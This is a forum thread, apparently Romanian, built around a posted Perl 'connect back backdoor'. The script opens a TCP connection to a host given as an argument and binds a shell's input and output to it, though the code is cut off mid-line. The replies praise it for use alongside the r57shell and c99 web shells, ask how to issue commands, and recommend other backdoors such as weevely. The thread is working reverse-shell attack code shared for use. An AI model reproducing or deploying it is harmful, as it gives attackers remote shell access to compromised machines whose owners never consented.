Perl Connect Back Backdoor

[mario23]

#!/usr/bin/perl

use Socket;

print "Data Cha0s Connect Back Backdoornn";

if (!$ARGV[0]) {

printf "Usage: $0 [Host] <Port>n";

exit(1);

}

print "[*] Dumping Argumentsn";

$host = $ARGV[0];

$port = 80;

if ($ARGV[1]) {

$port = $ARGV[1];

}

print "[*] Connecting...n";

$proto = getprotobyname('tcp') || die("Unknown Protocoln");

socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Errorn");

my $target = inet_aton($host);

if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {

die("Unable to Connectn");

}

print "[*] Spawning Shelln";

if (!fork( )) {

open(STDIN,">&SERVER");

open(STDOUT,">&SERVER");

open(STDERR,">&SERVER");

exec {'/bin/sh'} '-bash' . "

[ghici]

super .. ms..adaugat la colectie

[PsYKid]

asta e super bun la r57shell :@

[SpLo1T]

tnhx ee fff bun la r59shell

[Sub_Zero]

hey ce face exploitu asta :@ca nu m-am prins

[DarkWizzard]

asta e super bun la r57shell :@

r57shell ul are incorporat perl back connect.

Totusi e bun la c99.

[black_ps]

Si comenzile cum se dau? Mersi.

[Kabron]

(perl) Backdoor - r00tsecurity mai misto

[adi003user]

si weevely - Stealth tiny php backdoor - Google Project Hosting